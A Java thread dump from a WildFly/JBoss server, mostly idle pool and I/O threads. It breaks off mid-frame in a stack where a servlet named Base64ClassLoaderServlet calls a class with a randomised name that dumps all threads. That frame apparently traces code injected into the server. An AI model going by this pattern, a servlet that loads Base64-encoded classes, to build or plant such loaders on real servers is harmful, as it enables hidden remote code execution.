sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 20" #43 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 60" #88 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 3" #26 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 48" #73 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"RxSchedulerPurge-1" #137 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70ca1efa + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 12" #35 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 78" #146 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 14" #37 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Timer-0" #102 [WAITING] on java.util.TaskQueue@64cea5b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"ServerService Thread Pool -- 33" #56 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-6" #19 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"default I/O-20" #122 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 53" #81 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 4" #27 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 45" #70 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 42" #67 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 47" #72 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 35" #58 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-5" #18 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"ServerService Thread Pool -- 54" #82 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-17" #119 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 52" #80 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 39" #64 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Transaction Expired Entry Monitor" #130 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@76c6a050 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:190) + +"ServerService Thread Pool -- 67" #95 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 68" #96 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 57" #85 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 15" #38 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 55" #83 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 9" #32 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-18" #120 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 40" #65 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 76" #145 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 62" #90 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 59" #87 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 18" #41 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper #1" #133 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@687f6bd0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"ServerService Thread Pool -- 28" #51 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 29" #52 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-2" #15 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@5ae1a6a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + +"default I/O-2" #104 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 1" #24 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d775f5e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 8" #31 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 43" #68 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"XNIO-1 I/O-1" #127 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"DeploymentScanner-threads - 1" #60 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@75440170 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-12" #114 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Transaction Reaper Worker 0" #132 daemon [WAITING] on java.util.LinkedList@53562463 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForWork(TransactionReaper.java:360) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:65) + +"ServerService Thread Pool -- 63" #91 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 21" #44 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 73" #140 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 44" #69 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper #3" #135 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@687f6bd0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at org.wildfly.common.ref.References$ReaperThread.run(References.java:76) + +"XNIO-1 Accept" #128 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-7" #109 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 6" #29 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 64" #92 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6dc7f567 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.lang.Thread.run(Thread.java:750) + at org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default task-1" #147 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.google.gso.DdmrN.ErrorHandler.toString(BasicInfoPrinter.java:26) + at io.undertow.servlet.spec.ServletPrintWriter.print(ServletPrintWriter.java:337) + at io.undertow.servlet.spec.ServletPrintWriterDelegate.print(ServletPrintWriterDelegate.java:156) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at 